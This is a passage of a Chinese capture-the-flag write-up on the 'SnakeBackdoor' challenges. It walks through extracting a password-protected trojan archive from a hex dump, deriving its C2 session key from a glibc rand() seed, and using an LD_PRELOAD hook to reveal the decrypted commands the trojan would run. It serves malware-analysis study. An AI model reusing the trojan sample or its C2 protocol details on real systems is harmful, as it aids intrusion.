781b34119903895b3daf8e0783b9bd27d73d56a2294f428fb532d2330738c2f59948ed049312f238f99a9daf3d38db6afe1b406f608399cd837875828dd8aa44070efcd131f5f976d224e7e7022bdf17e1bebd05e9d98637e27c732dd6a4660cf59b7a9e32aa8e33837919f86b9f60bcb53926c40b7e3134cf95673e7e579ed81991a64d3a2bc9677daf2e7acaa33a50aa4249932545ae4195d8a13683f3460bbc3bbeded28c58d50ce63bdddda4a5d0d894a5c704443c013e53393d887f8407e0332ce41e462d41d7f81ff0fe095f0feb0cb789f40a033356bbb63bd4519cbfd772d85ecb244b6740ef554377d57b9c9f0fdb9ed11e5d72e7e28d66fd34130b70fee6cbd0469cd9927eefb844b2286a45b6023a682621d3672619e57bcce26c0dc39117ac8d04c3b3ec7f639d9379ec5cc0b313ab62bbfe8198b60573fe96c4f4b13196462c39d3bd79b5a152211eca5fce5bc02d15b4d385e5de668c927dd4d0f7c6f0bd9898b9a110571f1d3c98796b9534f0c40327dfc5bb70e0aff89845a12038e31cc63107885582818abf94ec6a9b36655f8e1541e06dccb929b1fc28f2825a13bc13e9ccee304394f3cdfa18179f5aed4059482c889609867fdf0babd73735e583eb4886bb9f4ef71ca57a51f7b70b0e9157ea2fda7dc990879d5ebd240a6c6d2ced45219a56c9ebe334a38d8ebb5ba8b3c46575ca42336153394328d6f454f10a146590422b94b64f291240be27e8d653ff92390dd71302af099e50e1c06b16ab12795d687d30effe49343f90604b7691580acb7e4564f58d31835ea7cf3a505f09fe3c2df6a6a5bc3d311a8bf3f26fe8572828837d821b38cf4fd6f2421a4e496fae5fcb04b9f1ae53991838327822e5ca84976cb70c8ae1da7c2b6ccd65659bda0bda09615e54e952ed46ad9363cbb455db1cd00263f047455c2143517bf48b64b39e279ba576730a2aa84f3f9bced6fc04836500c85b61e8d6e946c3e0fb21299157e26d619e8d623af1597f9d02932ef664a1125800247eb55c820e9f9123f9176bbc66bc23ee91b452621d1e33d43f0cdf20d6e4f1f1f2ae3de204a5284453ac8e383824be409f9f3b0ef7c7ce10e577c360dad017efe5e6e755bb3b1f7a497d3be835a13251942cf828fcb8cb5cb18d19c219a67d16ed6030161c6e1ac828bab5d1599fe9917d69f530ce504b0708e01c1a3483100000f8380000504b01021e031400090008002431955be01c1a3483100000f8380000050018000000000000000000ed81000000007368656c6c555405000354d5476975780b000104000000000400000000504b050600000000010001004b000000d21000000000"
# 转换并写入文件
with open("shell.zip", "wb") as f:
f.write(binascii.unhexlify(hex_data))
print("提取成功:已保存为 shell.zip")
发现解压需要密码,而根据1813流解出来的指令
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
密码就是nf2jd092jd01,解压缩出东西来,然后ida启动,进入到main函数来
首先是木马尝试连接到控制端 IP 192.168.1.201,端口 58782

连接成功后,木马首先调用 sub_18ED 从服务器接收 4 个字节的数据存入 v7
代码对 v7 进行了字节序转换,大端转小端或反之,并将其作为 seed

调用 srand(seed) 初始化随机数生成器,通过循环 for ( i = 0; i <= 3; ++i ) v8[i] = rand(); 生成 4 个随机整数,一共16个字节
这里的 v8 数组就是后续对称加密算法,比如 AES使用的原始密钥

sub_13B4(v10, v8, 0LL):使用 v8 初始化解密状态,用于处理收到的指令
sub_13B4(v9, v8, 1LL):使用 v8 初始化加密状态,用于加密返回的结果

题目要求提交的是木马样本通信使用的加密密钥
根据代码,密钥是动态生成的,依赖于服务器发送的第一个 4 字节种子
在流量包中找到与 192.168.1.201:58782 的 TCP 流
找到 TCP 三次握手之后的第一条数据包,由服务器发往木马客户端

提取这前 4 个字节

因为由于该木马是 ELF 文件,它调用的 rand() 函数遵循的是 Linux glibc 的随机数生成算法
Python 自带的 random 库使用的是 Mersenne Twister 算法,与 C 语言的 rand() 完全不同
因此,Python 脚本必须通过 ctypes 库调用 Linux 系统的标准 C 库(libc.so.6)来获取一致的结果
但是我搞了好久也没有搞定,最后决定直接用C语言写得了
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main() {
// 0x34, 0x95, 0x20, 0x46
// 在小端序机器上,这 4 个字节组成的 int v7 = 0x46209534
uint32_t v7 = 0x46209534;
// 2. 模拟 IDA 中的字节序转换逻辑
uint32_t seed = ((v7 >> 8) & 0xFF00) |
((v7 << 8) & 0xFF0000) |
(v7 << 24) |
((v7 >> 24) & 0xFF);
printf("[*] Calculated Seed: 0x%08x\n", seed);
// 3. 初始化随机数 (Linux 环境下的 srand)
srand(seed);
// 4. 生成 16 字节密钥 v8
uint32_t v8[4];
for (int i = 0; i <= 3; ++i) {
v8[i] = rand();
}
// 5. 按内存顺序输出 hex
unsigned char *ptr = (unsigned char *)v8;
printf("flag{");
for (int i = 0; i < 16; ++i) {
printf("%02x", ptr[i]);
}
printf("}\n");
return 0;
}
找个C语言在线编译网址就可以了

6.SnakeBackdoor-6
请提交攻击者获取服务器中的flag。结果提交形式:flag{xxxx}
这里当时没有解出来,后面听别的师傅说是SM4加密,又是不懂的玩意,比赛完使用hook进行一个复现
参考资料:https://www.aristore.top/posts/CISCN2025Quals/#SnakeBackdoor-6
在上一题main 函数中,密文被解密后存入了 command 变量,随后立即执行了 popen(command, "r")
popen 是一个标准库函数,如果我们能写一个自己的 popen,当木马调用它时,系统跑的是我们设计好的代码,那就可以在我的代码里把 command 参数打印出来,所以popen 就是我们的泄密点
想要让程序运行到 popen 这一步,前面必须满足一系列条件
首先,连接必须成功:程序里有 if (connect(...) < 0) exit(1)
那我们伪造 connect,让它永远返回 0

其次,密钥必须正确,程序用 rand() 生成密钥
那么我们就劫持 rand(),不管程序怎么算,都让它吐出上一题那个ac46fb610b313b4f32fc642d8834b456密钥
接着必须有数据输入,程序用 sub_18ED,底层调用 recv,从网络读指令

所以要劫持 recv,当程序要读数据时,把流量包里的十六进制密文塞给它
所以整个恶意软件的运行逻辑就是
连接C2服务器 (connect) → 生成加密密钥 (rand × 4) → 接收密文长度 (recv)
→ 接收密文数据 (recv) → 解密命令 (内部解密函数) → 执行命令 (popen)
→ 回传结果 (send)
首先由于后续操作中需要处理大量十六进制字符串,首先需要一个辅助函数将十六进制字符串转换为二进制字节流
这个函数是整个 Hook 代码的基础设施,其他所有函数都会依赖它来进行数据格式转换
// 十六进制转二进制
void hex_to_bin(const char *hex, unsigned char *bin) {
size_t len = strlen(hex);
for (size_t i = 0; i < len; i += 2) {
sscanf(hex + i, "%2hhx", &bin[i / 2]);
}
}
这个函数的实现原理非常直接,遍历输入的十六进制字符串,每两个字符组成一个字节,使用 sscanf 的 %2hhx 格式说明符将其解析为一个字节值,并存储到目标缓冲区中
例如,十六进制字符串 "ac46fb61" 会被转换为字节序列 [0xac, 0x46, 0xfb, 0x61]
然后就是connect,让其return 0就可以了
int connect(int fd, const struct sockaddr *addr, socklen_t len) {
return 0;
}
接着,程序使用 伪随机数生成器来动态生成加密密钥
具体来说,程序首先从 C2 服务器接收一个 4 字节的种子值,然后用这个种子初始化 srand(),接着连续调用 4 次 rand() 生成 4 个 32 位整数,这 16 字节的数据就是加密密钥,也就是上一题得到的flagac46fb610b313b4f32fc642d8834b456,我们的目标是让程序在调用 rand() 时返回这个预定义密钥的各个部分
那么使用静态变量 key_bin 存储十六进制密钥的二进制形式,rand_call_count 跟踪 rand() 的调用次数,第一次调用时将十六进制密钥转换为二进制,后续每次调用时取出 4 字节数据作为 unsigned int 返回
const char *KEY_HEX = "ac46fb610b313b4f32fc642d8834b456";
int rand(void) {
static unsigned char key_bin[16];
static int rand_call_count = 0;
static int inited = 0;
// 转二进制
if (!inited) {
hex_to_bin(KEY_HEX, key_bin);
inited = 1;
}
// 每次调用取出 4 字节作为一个整数返回给 v8[i]
if (rand_call_count < 4) {
unsigned int val = *(unsigned int *)&key_bin[rand_call_count * 4];
rand_call_count++;
return val;
}
return 0;
}
然后程序通过 recv() 系统调用从 C2 服务器接收数据
这里接收过程分为两步,首先接收 4 字节的密文长度,然后接收对应长度的密文数据,这个过程会重复多次,每一对长度,数据代表一条加密命令
这些密文数据来自流量包中的实际通信记录,通过 Wireshark 追踪流 1827,可以获取完整的密文长度和密文序列,也就是上一题追踪到的那些,这些数据被组织成一个 DATA 数组,每两个元素为一组:第一个是密文长度的十六进制表示,第二个是对应的密文
可以使用 recv_step 静态变量记录 recv() 的调用次数,根据调用次数的奇偶性来决定返回长度还是数据
第一次调用返回任意 4 字节作为握手包;奇数次调用(1、3、5...)返回当前密文的长度,也就是需要转换为网络字节序;偶数次调用(2、4、6...)返回对应的密文数据
const char *DATA[] = {
"00000010", "49b351855f211b85bd012f80ce8ed5b3",
"00000010", "2cc5becb37ca595a89445461c6512efc",
"00000010", "b863696da0c6bb28da46e09069dd644f",
"00000030", "87e8faa921f3e67c530f1b6740a9d439...",
// ... 更多密文数据 ...
NULL // 结束标记
};
ssize_t recv(int sockfd, void *buf, size_t len, int flags) {
static int recv_step = 0; // 记录调用次数
static unsigned int current_len = 0; // 当前密文长度
// 握手包
if (recv_step == 0) {
memset(buf, 0x41, 4);
recv_step++;
return 4;
}
int idx = recv_step - 1;
if (DATA[idx] == NULL) {
exit(0);
}
// 长度(奇数次调用)
if (recv_step % 2 != 0) {
sscanf(DATA[idx], "%x", ¤t_len);
// 创建4字节缓冲区存储长度值
unsigned char len_buf[4];
// 构造网络字节序(大端序)
len_buf[0] = (current_len >> 24) & 0xFF; // MSB
len_buf[1] = (current_len >> 16) & 0xFF;
len_buf[2] = (current_len >> 8) & 0xFF;
len_buf[3] = current_len & 0xFF; // LSB
memcpy(buf, len_buf, 4);
recv_step++;
return 4;
}
// 密文(偶数次调用)
if (recv_step % 2 == 0) {
unsigned char *cipher_bin = (unsigned char *)malloc(current_len);
hex_to_bin(DATA[idx], cipher_bin);
// 将二进制密文数据复制到缓冲区
memcpy(buf, cipher_bin, current_len);
// 释放临时分配的内存
free(cipher_bin);
recv_step++;
return current_len;
}
return 0;
}
程序解密命令后,会使用 popen() 函数执行解密后的 shell 命令
这是整个攻击链的终点,现在要执行了,我们的目标是在命令执行前将其打印出来,这样就能获取明文内容。
通过 Hook popen() 函数,在它被调用时打印传入的 command 参数,然后返回一个合法的文件指针(指向 /dev/null),让程序以为命令执行成功了
FILE *popen(const char *command, const char *type) {
printf("%s\n", command);
return fopen("/dev/null", "r");
}
为了让程序稳定运行而不崩溃,还需要处理两个额外的函数
因为在 popen() 中返回的是 /dev/null 的普通文件流,而不是真正的进程管道
当程序后续调用 pclose() 尝试关闭这个假管道时,或者调用 send() 通过无效的 Socket 回传结果时,程序会报错退出
Hook pclose():当程序尝试关闭不存在的管道时,直接返回成功即可
Hook send():当程序尝试通过 Socket 发送数据时,直接返回发送长度,表示发送成功,但不真正执行任何网络操作
int pclose(FILE *stream) {
if (stream) fclose(stream);
return 0;
}
ssize_t send(int sockfd, const void *buf, size_t len, int flags) {
return len;
}
所以最终的hook.c代码就是把上述的都拼在一起即可
然后linux环境下执行终端命令
# 编译为共享库
gcc -fPIC -shared -o hook.so hook.c -ldl
# 使用 Hook 库运行木马程序
LD_PRELOAD=./hook.so ./shell
LD_PRELOAD 环境变量告诉动态链接器在加载其他共享库之前先加载指定的库,这样我们 Hook 的函数就会优先于系统的同名函数被调用

学习了学习了,hook的好处就是不需要理解程序内部的加密算法实现,只需要知道加密密钥并控制程序的输入输出流程
7.总结
筛选定位:Wireshark过滤 http contains "keyword",追踪TCP流重组完整会话,异常特征:数据量过大、危险函数调用、多层编码
编码解码:Base64(字符集+4倍数长度)、Hex(0-9A-F)、URL编码,逐层解码到明文
加密分析:找到密钥硬编码位置或协议协商逻辑,实现加解密算法,注意跨平台rand()实现差异
恶意提取:识别PK头(ZIP)、明文脚本,提取还原攻击代码
高级Hook:当加密复杂时,用LD_PRELOAD劫持connect/rand/recv/popen,注入流量数据获取解密命令
更多网安技能的在线实操练习,请点击这里>>

浙公网安备 33010602011771号